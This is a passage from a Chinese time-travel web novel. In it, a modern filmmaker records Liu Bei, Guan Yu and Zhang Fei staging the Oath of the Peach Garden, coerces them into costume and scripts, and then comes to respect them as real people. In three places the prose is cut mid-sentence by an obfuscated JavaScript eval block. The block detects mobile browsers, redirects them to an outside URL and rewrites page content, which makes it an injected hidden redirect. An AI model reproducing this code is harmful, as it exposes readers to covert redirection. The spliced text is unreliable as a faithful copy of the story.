李诗筠也跟着笑了起来,在刘关张三人疑惑的眼神中略微收敛了一点,清了清嗓子说:“咳,你们现在是什么关系?” 三人不明白这问题的意思,互相看了看说:“我们算是同县友人?经常一起出摊的。” “哦!那我这有段戏要和你们商量一下。” 5. 桃园结义 集市摊位不是个讲戏的地方,张飞便邀请李诗筠去自己家里坐坐。 三人提前收摊,离开集市往城南走去,张飞的庄子因要养猪屠宰,所以远离人多的地方,走过去也花了不少时间。 庄子规模看着还挺大,刚走进去就有小童仆役过来听从差遣,张飞让去取些酒水和肉过来,要招待客人。 “不了不了,你们也知道,我吃不惯。”李诗筠一边说着从包里掏出泡面,犹豫了一下,怕这充满科技的香味把他们馋死,只好又收起来,等拍完今天的工作量再吃吧。 “尊驾,请说吧。”张飞作为庄子的主人率先开口。 李诗筠笑了笑反问:“你以前还叫我姐姐呢,怎么这么客气了。再过几年,你年纪比我大了,想叫姐姐都不行了。” 张飞失笑,说:“我仔细想来,你既是后世之人,叫你姐姐岂不是被占了大便宜。而尊驾之称,是因你职务,算不得反了辈分。” “唉。”李诗筠感叹道,“孩子们长大了呀。” 玩笑归玩笑,还有工作要完成。 结义之事不能直接要求,只能引导。 >“你就说黄巾军乱天下,各地很快就要募兵讨贼,你们可有什么想法?” 李诗筠照着问,见三人都感叹沉思。 刘备神色严肃,说如今黄巾猖獗,各州郡形势危急,可地方官吏仍旧想着多搜刮些钱财,黄巾来了便卷钱跑路,根本没想过当地百姓,半点都靠不住。他想要自己募一支队伍,便宜行事,不受拖累。 “我也正有此意!”张飞立刻应声。 关羽也点头加入,说:“好,我们三人既能一起出摊,也能一起出战,共同募兵剿灭黄巾,建功立业!我等今后便是生死弟兄,不求同年同月同日生,但求同年同月同日死!” 这事就如此简单地定了下来。 李诗筠扛着摄像机噎了一会儿,说:“我没别的意思啊,就是,会不会太轻率了?谁出钱?谁做领头的?只口头上称兄弟,没个结拜仪式吗?” 张飞不解,说:“自然是共同出资,出多出少无所谓,都是为了救国呀。至于谁做领头,到了战场上看谁都杀的多便是。” 李诗筠无奈盯着刘备问:“你中山靖王之后的身份不亮出来吗?” “……”刘备深吸一口气,很是无奈地挠着哮天犬的脑门。 实不相瞒,他因为多次被采访的事,导致,很自卑。随着年龄增长,却仍旧不被器重,无一番事业,他更觉得一次次的采访像是一场捧杀。他曾经也觉得自己身为皇室后裔汉室宗亲,又有着名列前茅的采访次数,将来必定成大器。 然而越是牵挂着,越是不如意,越是不自信。 好在他求学回来就想明白了:英雄造时势,也需时势造英雄。一件事情若尚未开始就想着成功的结果,必定是做不成的。唯有脚踏实地,一步步走到成功之日,才可回头诉说自己的初心。 刘备解释说:“家道中落,便说出去也只以为我攀亲附贵自己编排的身世。我是待将来能闯出一番天地时,再以此告慰先人之灵。” 他是看得开了,李诗筠和耳机里的指导团们看不开了。 >“不行!这个桃园结义太潦草了!出于艺术考量,这场戏份刘备必须哭。”导演认真地安排着。 >“咱们这项目不是实地拍摄吗,就该以正史为准呀。刘备就是喜怒不形于色的,这里没发生什么大事,没道理拍成哭戏。”一位历史教授反驳。 >“我觉得也可以哭,哭的原因不是感叹自己,而是为天下,凸显仁德!” 耳机里的剧组众人开会的时候,李诗筠也看了看系统的标记,系统倒是没要求哭不哭,只要求记录三人结义后共同募兵投军一事。 她琢磨着自己的宏大计划,既要真实,又要足够戏剧效果,还要足够低的观影门槛。 “那就拍两个版本吧!原班人马出演纪录片和电视剧,很正常的吧?” 刘关张三人满头雾水,没懂什么意思。 李诗筠解释说:“正如刘邦斩白蛇起义,斩白蛇一事是真,赤帝之子为戏剧编排。如果只是挡路一条蛇被砍死,没什么看头。如果白蛇又大有凶,一番缠斗,还雷电交加,是不是就很有看头?” 直呼刘邦姓名的行为让三人都是微皱眉头欲言又止。 刘备说:“此为太史公亲笔记载,岂会是编排?” 关羽点头,也不高兴地说:“虽是千年之后的小辈,也不该直呼高祖名讳。” 丈夫瞪着水汪汪的卡姿兰大眼睛,问了个谁也没想过的问题,黑脸略白,说:“你们那时候,还是大汉吗?” “……”李诗筠噎住了,如果说是,自己直呼刘邦确实不合理。如果说不是,就代表着大汉亡了!万一他们直接摆烂,不去参加讨伐黄巾了怎么办。 耳机里果然又是沉默。 靠不住的专业人士啊!没事的时候指点江山很专业,一到关键时候还是得靠自己! 李诗筠脑筋如同小马达一般疯狂转动,说:“你为什么会觉得千年之后不是大汉呢?你觉得大汉要亡吗?” 在他们思考的时候,继续跑出问题,叹息一声说:“大汉要是亡了,那就是你们不够努力!反思,立刻反思!八字还没一撇呢,就觉得自己做不成大事了,就觉得大汉要亡了。我的天,你是汉贼吗?就开始唱衰大汉了。” 张飞黑脸一阵红一阵黑,羞愧得低下头不说话了,还真开始反思自己为什么问大汉会不会亡的问题,如今大汉,就是等着栋梁们拯救呀! 张飞紧紧握拳,抬头说:“是我的错,你吩咐吧,要怎么拍?” 刘备和关羽还在琢磨,希望李诗筠能说得详细一点。 以及,刘备再三申明:“高祖就是赤帝之子,绝非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305969|167211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜撰!” “好的。”李诗筠点头,只要答应拍摄,怎么都行。 简单给三人讲了讲戏,大概就是募兵的告示发下来,三人在告示下相遇,各自都有报国之心,在一番误会后,来到张飞家里喝酒。微醺的刘备泪眼汪汪,讲了一个中山靖王之后落魄得报国无门的故事,然后二人了解情况,深感敬佩,约定好一起报国,且结为兄弟,桃园结义。 因为已经在张飞家,所以先拍三人的文戏和结义戏份,等布告栏贴了告示再补拍相遇。 对于这个剧情,三人各有意见。 关羽说:“我等早就认识,少说也有一年半载,为何要安排成陌生人?” 张飞说:“我们认识的时候没有误会,大家都是直爽汉子,又有报国之心,哪来的误会。” 刘备则说:“我不拍哭戏。” >“你就跟他讨论仁义,拍这个戏份是表达正面形象。不是抹黑他爱哭。” 耳机里只给了一个劝说方向,而说这些话肯定是没用任何作用的。这个年龄段的刘备还带着几分年少时的任侠气,用仁义是绑架不了他的,还会回一句:难道不哭就不仁义了吗? 所以,非常人,要行非常事。 幸好李诗筠手里拍了很多小时候的事情。 她笑了笑,笑得格外友好灿烂,她低头轻轻挠了挠眉头的痣,靠近刘备小声说:“你也不想我把你小时候说要当皇帝的视频,给你的两位挚友看吧?” 不管后来如何,此时此刻的关羽和张飞肯定是还没到会支持刘备称帝的地步。 刘备脸上一阵红一阵白,没想到会被本该是最最中立的拍摄者背刺,他震惊且无奈,小声反驳说,“童言无忌,如何算数?我只有救汉之心,绝无如此忤逆。” 他又想起一事,说:“你当年曾说,拍摄内容只有后世之人才能看。” “对啊,只有后世之人能看,那我把画面投屏到墙上,不就能一起看了吗?”李诗筠继续笑着,格外得意地介绍自己的缺德行为,“就是那个曹操你知道的吧,当初他结婚的时候我还去凑热闹了呢,给他婚礼上投屏了小时候装瘫痪的视频,后来想采访他可太难了,都躲着我了。” “……”刘备深吸一口气,看着李诗筠一脸缺德拿捏别人把柄的小人模样,欲言又止,从小时候就真的很想问了,后世就没有其他的人才了吗,怎么会选这么一个满是荒唐的人来担任重要岗位。 “想清楚了吗?这片子拍吗?”李诗筠眨眨眼提醒。 刘备无奈,说:“拍,我拍便是了。” 既然要再拍一版大众认知中的桃园结义,那么几人的形象自然也要修改。没有人能接受两撇八字胡的关羽,也没有人能接受下巴光秃秃还没长胡子的张飞。 “开拍前需要给你们化个妆。”李诗筠一手按住耳机,说,“妆造组就位,我带三个演员过来化妆。” 6.桃园结义 刘关张三人还没答应化妆的事情,李诗筠就连接了摄影棚的门,随手拉开张飞家的一扇门,说:“不去后世看看吗?” 摄影棚是系统单独搭建出来的空间,虽然是以实体形式座落在21世纪的一家医院空地上,但内部空间不属于任何年代。 要说是后世也可以,里面装修布置全都是按照21世纪的审美和发展安排的,更不说一些仪器就是从各家公司搬进来的。 门内本该是普通的客房,此时看过去黑暗一片。 但是当走进那扇门,确实一个宽敞明亮的环境,屋顶之高犹如五人身长。地面铺了灰色的厚毯子,踩在上面非常柔软。 三人为所见惊叹,突然发现地面的灰色毯子上有着诸多血迹,且血迹呈滴落状往前,沿着某个方向去。 “这些血迹是?”刘备担忧的问,“先前听闻黄巾军中有冒充拍摄之人,想必便是尊驾,这些血……是被黄巾贼人所伤?” “哦,这些血啊,是张角的……呃。我是说我的一位同僚,名叫张蛟,工作的时候受了重伤,赶紧跑回来疗伤的。”说完又补充一句,“这里就是我们工作的地方,可以理解为尚书台之类的。” 刘备不语,他记得之前李诗筠说过,她一人兼任导演、摄像师、美术指导、宣发、市场……很多听都没听过的职务,十分骄傲地说自己一个人撑起一个剧组,又哪来的同僚受伤。 心中虽有疑惑,也还是跟着李诗筠继续往前走。 穿过办公区,会议室和研究室都是落地大玻璃,里外都能清晰地看到彼此。 “我炒!!是草鞋时期的刘备!” “短胡子的关公,稀有皮肤!” “糟了,我怎么看张飞都眉清目秀的。” 一张张贴在玻璃墙上激动地盯着从走廊经过的三位古人,无数的手扒在玻璃上,且因隔音效果听不清里面的人在说什么,只能看到他们神色兴奋的张着嘴。 古人不知晓什么是丧尸,一时间找不到贴切形容这画面的词汇,喃喃道:“后世之赤诚汹涌犹如……” 李诗筠立刻就接话,说:“此之诚,有如大江!” “是,正是。”三人都点头认同。 办公室内有人用尽洪荒之力发出吼声,扯开了嗓子喊道:“备备!不要让徐……”庶走啊!!话没说完就被人捂住了嘴。 另一个人更是不惜违背上级指示,竟拉开办公室的隔音门,看向刘备的背影喊道:“主公!千万不要拒绝刘……”表的荆州啊!话没说完也有人过来捂住阻拦,拉回室内,重新关上了门。 突发情况,刘关张三人站定原地往回看了看,疑惑问:“此言何意?” “意思是说……”李诗筠立刻开启谐音模式找补,说,“是说让你们好好准备,千万不要拒绝流芳千古的好事呀!” 不给他们思考的余地,李诗筠绕后推着三人往前穿过走廊来到了化妆室。 妆造组已经火速就位,此时正在梳理假发假胡子之类的妆造道具,但因为激动都略有手抖。 等见到了三位“演员”,很是贴心地用作揖打招呼而非握手,讲究一个宾至如归。 三人落座后便沉默观察,仔细地扫过室内每一个物件。比烛火油灯还要亮一万倍的光源、清晰明亮比皇室所用还要精细的镜子、以及桌面上诸多瓶罐质地细腻,化妆师手里所用的化妆工具更是从未见过。 道具师递来一套“关公胡”,化妆师接过后往关羽脸上比划了一下。 关羽大惊:“这……这么长的须髯,是给我的?” 有没有可能,我才二十出头呀!怎么可能长得出垂到肚子上的胡须! 旁边的张飞同样震惊,道具师递来的“张飞胡”倒没有那么夸张,但向外呈一个粗犷的形象。 “阁下,飞今年十九。” 汉朝男子二十岁“冠而列丈夫”表示成年,换句话说,张飞还是个未成年! 李诗筠正要帮忙解释,从镜子里瞄到背后墙上挂了个神龛,上面供奉着关二爷武像,两根电子蜡烛亮着还会模仿火焰晃动。 啊啊啊啊啊为什么化妆室里要供关公啊!! 与此同时,关羽也从这面格外清晰的镜子里看到了身后李诗筠古怪的神色,顺着视线微微抬眼,看到一个神龛,上面是一个…… “!”李诗筠已经来到神龛前将关公像取下来,随手放到旁边满是杂物的桌子上,且找了布盖起来。 道具师见自己差点捅了娄子,连忙过来小声解释,说:“道具买来后就收在桌子上备用的,神龛上原本是个招财猫,不知道谁给换上去的。” 李诗筠也压低了声音,问:“买个关公像备用?会用到吗?” 道具师立刻回答:“他们不是桃园结义吗,拜把子当然要拜关公嘛!” “你认真的?” “……嘶。”道具师狠狠一拍脑门,“对啊,那他们该拜谁?” “……”李诗筠没接话了,站到边上等待三人化妆,顺便帮忙解释让他们年纪轻轻就贴上大胡子的用意。 “是这样的,因为拍摄的画面要给后世观众看。而观众们心里呢,有一个历代演化形成的成熟形象,如果和这个形象不符的话,就很难令人信服。” 三人并未立刻应下,刘备还在琢磨着刚才走廊里隐约听到的声音,不确定是不是在喊自己,只听到一些不要做什么事的警告。 既是后世之人,必定知晓他们后来的全部发展,是不是自己将来有一些走错的路,做错的事? 必定是有的,他回想自己所读过的书籍记载,即便是汉武帝那样的千古一帝也走过很多错路,因巫蛊之祸而株连了卫太子一脉,逼得卫皇后自尽。 何况自己这样的普通人。 因此,不如先应下化妆一事,待关系打好了再试探口风。即便这些后世之人早有规定不可透露,也总有失言的时候。 “好的,便依照你们安排吧。”刘备给关羽张飞使眼色,让他们也都先答应。 实拍讲究真实感,所以脸上基本不化妆就直接贴胡子,有了胡子之后,本身的眉目则显得淡了些,所以需要再把眉毛和唇色加深一些。 这个举止遭到了三人相同的抗拒。 一是他们的观念中涂脂抹粉绝非男子汉大丈夫的行为,只有那些行断袖之风的佞人才会如此,比如董贤之流。 二是描眉这样的行为在汉朝人看来过于暧昧了,是夫妻之间才能有的,更不说抹嘴唇了。 妆造组的人还是一种遇到老祖先的尊敬心态,大不了把难题交给后期,一帧帧修改呗。 李诗筠打开摄像机看了看上镜效果,的确很不协调。桃园结义是重头戏,不能敷衍了事,气色这么差拍出来肯定被观众差评,影响项目口碑就是影响她这个制片人·摄像师·云游记录者的口碑。 李诗筠扯起一抹坏笑,问:“你们知道鲁迅先生的开窗理论吗?” 前者想开窗采光,后者反对。如果前者因此要拆了屋顶,后者就愿意开窗了。 她拿起唇膏往自己嘴上抹了一层, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315131|167211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后说:“做个选择,是让我们的专业化妆师帮你们化妆,还是由本制片人亲~~自帮你们画?” “像这样=3=” “!!!!!” 张飞黑脸一红,关羽红脸一白,刘备白脸一黑,纷纷投来惊恐的目光,见她似是说笑,却更像是威胁。 李诗筠又把镜头固定,故作捋袖子说:“还不做出决定吗?到了这地方,没有我的允许,你们是回不去的。我亲自画的话……一会拍下来,等你们上战场的时候,我放给黄巾军看。” “!!!!”三人自觉是懂礼之人,尤其对方是认识多年的姑娘,肩负重任各地游历拍摄也是多有尊敬的,可此时为了让他们涂脂抹粉,竟以如此卑鄙的手段威胁,脑子里都不约而同出现两个字。 禽兽啊!! “化……便是了。”三位年轻人的心思城府还不算深,没有经历社会上太多的险恶,还是挺好威胁的。应下之后眼睛紧闭,如同受刑一般牢牢抓着椅子扶手,煎熬地任由化妆师给他们涂抹。 过了一会,可算是完成了妆造。 三人都是缓缓睁眼,生怕镜子里看到一个施粉黛的妖娆自己,若那般,便是拼死打一架也绝不服从。好在专业人士化妆十分高端,化了却像是没化,只是精神气更足了。这才舒了口气,将悬着的心放下。 画好后匆匆忙忙便要离开,心想今后是断不会再答应拍摄什么了。 走出化妆室的门,听到里面几人念叨着再也不洗手了之类的话。三人更为震惊,觉得后世之人都不太正常。 李诗筠将三人送到连接的门口,让他们先回去备好结义所需的祭祀之物,自己一炷香的时间后就过来拍摄。 她往摄影棚的医疗区过去确认张角的情况,抢救室的灯还亮着。医疗区有一道单独通向医院方向的门,一名护士抱着血袋送过来。 也有一些生物研究员想将血液样本带回医院研究,但离开摄影棚后血液样本就快速氧化风干,只能搬设备到医疗区的空房间来研究。 医疗组的负责人过来沟通了一下张角的伤势,等手术完成后至少要住院半个月,还不能劳累。考虑到卢植将征讨黄巾迎战张角,不把人送回去不行,真送回去又和送死没区别。 “所以,想问问制片人你的建议。”医疗主任年纪挺大,但没有什么架子,询问时也是很谦虚的语气。 李诗筠想了想,说:“主意是有,我得先去忙拍摄。我和你大概说一下,你向上申请试试。” 医疗主任应下说:“好。” “买一部新手机,只冲一个月的基础话费。我把手机带回去给张宝,等张角醒了后让他们视频通话指挥。” “……”医疗主任大为震惊,“这……可以这样吗?” “理论上可以,具体可不可以,得看上头批不批准。” 把解决办法说完后,李诗筠就道别穿过走廊,又回到了张飞家中。 顺手将门关上断开连接,再打开门就恢复成了客房的样子。 刘关张三人此时坐在厅中琢磨着她讲的戏,能被拍摄流传千古自然是好,可一想到今日经历,就觉得哪哪都奇怪。 刘备还在琢磨走廊里听到的声音,到底是让他不要做什么。 关羽在琢磨神龛上看到的神像,没看清楚就被李诗筠拿走了,印象模糊,神像的胡子和自己现在贴的假胡子似乎很像。 张飞没什么琢磨的,看到李诗筠回来,催促说:“快些拍完,我还要将地契拿去变卖,早些筹备资金募兵去呢。” 7.桃园结义 摄像机打开,同步打开,开始拍摄。 “就刚才你们在议论黄巾和打算募兵一事,情景再现一遍,就是刚才说的那些词,再说一遍。” 刘关张三人略有不解,但也照做。 然而,还是短短三句话就结束了这场戏,决定一起募兵,为生死弟兄。 >“这……没什么区别呀,缺少戏剧冲突,没有看头。编剧呢,把剧本给他们背一下吧。” >“不行,我们不是实拍吗?化妆这个能理解,要是安排剧本,岂不是反而掩盖真实?” 耳机里导演和历史专家争论起来,各有各的道理。 编剧给李诗筠手机上发了剧本文件,李诗筠也让系统打印出来后分发给三位演员。 单薄雪白的纸张从未见过,拿在手里便知晓不是这个时代能造出来的纸,纸上的隶书工整非凡,同一个字竟能做到一模一样没有走笔习惯。 惊叹完纸张,三人查看具体内容。 刘备扫了一眼就将剧本缓缓放在了桌子上,说:“这为我们写的言语,情绪激昂、身家交代得也清楚,皆是有情有义之人。若后世对我们如此抬爱,我等心中自然欢喜,只不过……” 他抬眼看向李诗筠,问:“岂有以后世文书,让今人言之。究竟是‘情景再现’,还是‘弄虚作假’呢?” 关羽也觉得奇怪,问:“先前采访从未见过剧本,阁下也说是随心记录当世之人的生活,为何……”他很是不习惯地捧起自己的长胡子,虽然他觉得这胡子确实挺好看的。 “那先放着,一会再商量。我们先拍结义的祭祀礼仪吧。” 三人都沉默了一下,刘备点头说:“好,拍吧。” 四人来到张飞家后院的桃花林里,这个时候天气尚冷,桃花都还没有发芽,光秃秃一片桃林显得枯槁死气沉沉。 供桌上摆放了五谷三牲,三人来到供桌前拜下。 “等下,我调整下机位。”此时的镜头被树枝挡着,但在她挪动位置的时候,他们已经宣誓完成不求同年同月同日生,但求同年同月同日死。 >“不行啊,这条得重拍。”耳机里导演非常不满意的声音响起。 李诗筠看向各自变更了称呼的刘关张,愣在原地。她隐约察觉到一丝不适,那种很微妙的,被讨厌的感觉。 如果当你感觉到被讨厌的时候,实际上已经是被厌恶至极。 “……”李诗筠沉默了一下,明明上一次离开东汉之前关系还不差的,是因为这一次自己投屏了黄巾军吗?还是因为非要他们化妆背剧本? “尊驾怎愣着,不如先去拍下一个镜头吧?”刘备和两位才结义的弟弟过来问了一声。 他们表情上并没有什么不高兴,只是很平常的语气神态。 是自己想多了吗?李诗筠不确定。 四人又回到集市去,李诗筠突然有事暂且分别,往集市的另一边去了。 张飞将家产变卖换了些钱两,募兵费用加打造兵器的费用是一笔巨款,算了算这些钱只够募个两百多人,且最贵的马匹,恐怕是置办不起的。 三人带着钱来到铁匠铺商量下单多少兵器时,看到匆匆忙忙寻来的县令。 “玄德!我正找你呢!”县令身材高挑,声音洪亮。此时换下了县令工作服,穿了一身甲胄,形色匆忙。 刘备闻声看去,笑着作揖说:“伯圭兄,是有什么事?” 涿县县令正是当初与刘备一起向卢植求学的公孙瓒,他出身比刘备好许多,年少时就在郡守手下干活,因长得好看工作认真被伤势,还成了郡守的女婿。举孝廉后得了武职,某次巡逻边境,得到些许战功威望,后来就升迁成了涿县县令。 今日又收到朝廷的传书,说正值黄巾祸乱,边境羌胡又不安分,车骑将军请求幽州拨三千精锐骑兵协助,朝廷应下,且让公孙瓒带队前往。 “你与我同去协助车骑将军,讨伐边章韩遂,正是建功立业的好时机!”公孙瓒和刘备关系极好,当上县令后也想过给刘备帮助,但他知晓刘备性子不会接受直接的米粮钱财接济,大丈夫有手有脚岂能白拿东西,和乞丐何异? 唯有这等保家卫国、建功立业的事情,他是不会拒绝的。 “这……”刘备将关羽张飞引荐到前,说,“这两位是我的结义兄弟,今黄巾猖獗,天下大乱,我们已经决定募兵投军,共讨逆贼。” “如此也是极好的。”公孙瓒简单与关羽张飞认识,便没强求他们跟着自己走一条路。黄巾数量重大,但都是农人流民,总比羌胡好对付,何况二人的恩师卢植任中郎将,也算是报答恩师栽培,去住一臂之力。 说完去处,公孙瓒周围看了看,没看到那位销声匿迹多年的云游记录员,以为是已经结束拍摄,便与刘备等人道别,匆忙去带兵支援车骑将军。 刘备目送公孙瓒离开,继续与铁匠铺的匠人讨价还价。 此时,有两个穿着厚实衣物的人来到铁匠铺外,端详着刘备关羽张飞。 两人打量刘备,小声交流,似有不满。 “若是能有作为,如何至今还是个白身。” “她是后世先知,理当不假。可这么多年过去,连个小吏都不是……” “二位盯着备已久,可谓何事?”刘备察觉到异样的视线,走到两人跟前询问。 个子略高的那人挽起笑容,作揖说:“在下张世平,这位是我好友苏双,阁下想必正是刘玄德,可否挪步说话?” 刘备年少时也曾任侠放荡,喜爱结交各路人士。观此二人风尘仆仆,便知晓是往来客商,举止谈吐不俗,就应下带着关羽张飞一起到了酒肆说话。 张世平说他们二人是贩马的商人,有意赞助刘备募兵讨贼。 “承蒙二位看重,但,为何呢?备不曾有功名,与二位也只是初见。” 张世平有些为难,脸上表情也不情不愿的,就像是有谁要求他做一件自己不想做的事情。 酒肆窗外有一个闪亮的东西被太阳照射形成反光,正好晃了一下刘备的眼睛,略微刺眼。他看向窗外,看到了正架着摄像机的李诗筠。 刘备沉默一下微微侧首,他面色寻常地看向两位马贩子,问:“难道是传闻中采访谁就谁有出息的云游记录者要求二位的?” “怎会是别人要求呢。”张世平反驳,“听闻阁下自幼便被采访,后来又多次回访拍摄,必定是栋梁之才……” “二位。”刘备从座位上站起来,抱拳道歉说,“多谢好意,备不愿领,告辞。” 关羽张飞也同样站起来告辞。 刘备从酒肆走出来后,径直走向了外面架着摄像机的李诗筠,他来到跟前,说:“备有一问,请尊驾如实回答。” “你说……”李诗筠感觉周围气压格外低,他脸上是平常表情,语气有几分质问。 刘备问:“尊驾所知历史,那二位马贩出重金助我等募兵讨贼,所以你前去要求,让他们来寻我。是也非也?” “是。” “你去寻他们,则说明他们原本并未有此意。他们言行不一,眼中轻蔑。也便是说,若非你要求,或以上镜传世为由,他们不会助我。是也非也?” “是……” 李诗筠有一种被震慑在原地的感觉,从他跑过来质问之前,竟都没有察觉到他生气了。 刘备突然扯掉关羽和张飞脸上的胡子,掷在她脚边,说:“化妆、背台词、强求别人改变想法,这一切虚假之事,如何算是我们亲身经历?尊驾今后不必寻我拍摄,把镜头给想要上的人吧。不论将来原本是能封疆大吏,或是朝中众臣,若非我自己得来,不要也罢!” “大哥说得好!”张飞立刻应声,说,“小时候被采访自然是高兴,可这些年冷眼也没少见,因出身不好便处处被看不起。反倒还因曾被采访,多了一条捧都捧不起的无能之罪。” 关羽并未出声,但也点头认同。 李诗筠立刻着急起来,听得这话脑子一阵冷一阵热,再次拉着刘备威胁说:“你真的不拍?我手里可是有你小时候的视频,信不信……” “尊驾,请立刻投屏天幕,广而告之吧。”刘备目光锐利,提出请求。 “……” 若如此,将如何? “……” 项目崩坏,彻底失败。 李诗筠反驳不了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347348|167211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也说不出话,完全被他这平淡的请求给问住了。手里捏着的视频本该是威胁他的手段,此时竟被反将一军。 几句话间,攻守易型。 好一个喜怒不形于色的昭烈帝,该死的,竟觉得格外有气场,格外有范。 李诗筠被这强大的气场压得喘不过气,也有被凶到的胆怯,但她还是敬业地打开摄像机,在刘备难以置信的眼中调整镜头记录下这质问先知者的霸气场面。 “……”刘备眉头微不可觉的抽动了一下,有一种巴掌扇蚊子,却把自己腿扇疼的无力感。 他拧眉叹一声,这次没有用对特殊职务的尊称,而是年龄差距上的辈分,说:“小李,我们都活生生的人,不是你想要看的故事里的某个名字。” 刘备拉着两位弟弟转身就要走。刚转身就被张世平二人拦下,二人将刚才质问后世先知者的场景尽收眼底,反而颇为欣赏。 如果不畏强权是一种美德,后世先知者的“拍谁谁火”传说何尝不是一种权威呢? 一个连后世穿越回来的全知全能者都敢得罪,又有什么不敢的?为坚持真诚,连先知者的好心协助都能拒绝,又有什么不义之事能引诱到他? “请阁下,再借步说话。” “请。” “请。” 徒留李诗筠留在原地愣愣出神,直到冷飕飕的风吹过,她缩了缩脖子回过神来,明白自己错在哪里。 因为从系统告诉她这个世界是平行世界开始,她就把这当成是一个大型影视城,里面是标好了名字的演员,他们只是她用来完成项目的工具。哪怕心里曾经有过短暂的想要改变走向,也是为了自己的遗憾,而不是他们的遗憾。 因为……因为遗憾这个事情,本来就是活着的人才有,他们是已经死去的人啊…… 正是错在这。 他们在这个世界就是真实的、活着的人。 也不该将这看作一个无所谓的、用于拍摄影视的平行世界,而是,这是“历史”的另一种可能。 李诗筠失落地靠着墙壁坐下,架在路边的摄像机时不时有人蹭镜头,但没有人过来关心她怎么了。正如,人们在见到摄像机之后,才会知晓她是那位传说中的云游先知者。 回想自己毕业后就绑了这个系统,不就是实习了一年多,现在正式工作出问题,失业了!!! 不!!天知道现实世界的工作多难找!! 李诗筠捂着自己的脸,整个人陷入了深深的emo。 太阳逐渐下山,夕阳斜照,投射出三道长长的影子覆盖在身上,李诗筠抬头看见刘备关羽张飞竟还没有离开集市。 她下意识低头,很是心虚。 刘备蹲下来将地上的胡子捡起来,声音仍旧平常平静,只是语调温和了些许,说:“天色不早了,你还不回去休息吗?” 李诗筠不由一怔,摇摇头没说话。 一阵沉默,刘备缓缓站起来说:“走吧,把你要拍的拍完成。” 李诗筠惊得抬头,看到夕阳的红霞在他背后,霞光晕染开淡淡的颜色,有些许朦胧。 刘备伸出手将她扶起来,说:“此事不能怨你,换了任何人担任这样的职务,都会希望一切按部就班不出错。你原本的年龄虽比我们都大,但似乎停留在了某个阶段,你说过你念书刚结束就担任了这个职务……独自一人来到这举目无亲的地方,本就是难事,你心中压力也很大。” “……呜。”被凶的时候都没觉得委屈,此时换位思考说她好话反倒觉得鼻子发酸。 这就是……这就是东汉魅魔的威力吗…… 呜呜呜呜啊啊怎么办,突然好想抛下摄像机什么都不管总之一起匡扶汉室去吧!! 今天短暂地成为季汉粉。 兜兜转转,又回到了张飞家中。 三人拿起桌上的剧本开始背诵台词,只为了一个把他们当做完成影视项目工具人的后世小辈能够交差。 “不。”李诗筠冲上前夺过三人的剧本全部撕碎,她双眼灼灼地盯着三人,说—— “说你们想说的话,做你们愿意的事。”她扛起摄像机说,“弄虚作假的事情,我来。” 8.试播片段 李诗筠立下豪言壮语,有万能的后期在,哪怕是现在这样闲聊的场景都可以安排配音另配台词,桃园里没桃花也可以后期加特效。 只要资金足够,就不存在特效太假! 令她没想到的是,刘备竟坚持要背台词协助她拍摄,说人在其位当对得起别人的期待。何况自己应下了却中途变卦,错在自己,今后的事情今后再说,但至少她所说的【桃园结义】答应了就该做到。 这让李诗筠更为感动,天呐,我利用他们,他们……他们还向我道歉…… 不仅是背台词重新拍摄饮酒谈志向的一场,刘备为配合哭戏还滴眼药水,之后更是陪她一起熬夜给桃园还没开花的桃树枝上捏红蜡烛油,五指并拢在温热的蜡油里一沾,往树枝上一捏,很快凝固就成了桃花的样子。 看着如此真诚的三人,李诗筠心中却暗暗怀疑:是不是真诚过头了?自己都包揽下弄虚作假的事情了,怎还绕回到原点配合了。 莫非,有所图! 拍完桃园戏份,张飞家因地契已经卖出去,今日之后便不能住,顺便往集市去补拍布告栏的一场戏。 完成了所有系统要求的【桃园结义】镜头后,三人带着张世平等人赞助的马匹钱财,便要出发分散去各县募兵,以及分开找铁匠打兵器,这样能缩短工期。 待到他们三人上马道别将要离开,都没有提什么要求。 “等下!”李诗筠小跑两步追上还没跑起来的三匹马,拉着缰绳询问刘备,“你们就没什么要说的吗?比如问我一些后来的事情之类。” 刘备翻身下马再回答,说:“你以为,我们改主意配合你拍戏,是为了从你这得知将来情报,以便趋吉避凶?” “嗯。”李诗筠点头,这是人之常情嘛。虽说对刘备有一个仁德的了解,且遇到争论时也会为之据理力争,可真实发生到身上时,却仍旧会觉得不真实,甚至……甚至感到虚伪。 为什么会这样自相矛盾呢?李诗筠自己也想不明白。 刘备反问:“后世如此记载我?还是你如此看待我?” 李诗筠立刻回答说:“都不是,只是觉得这么冷的天熬夜捏了一晚上的蜡花,如此付出,不求回报?” 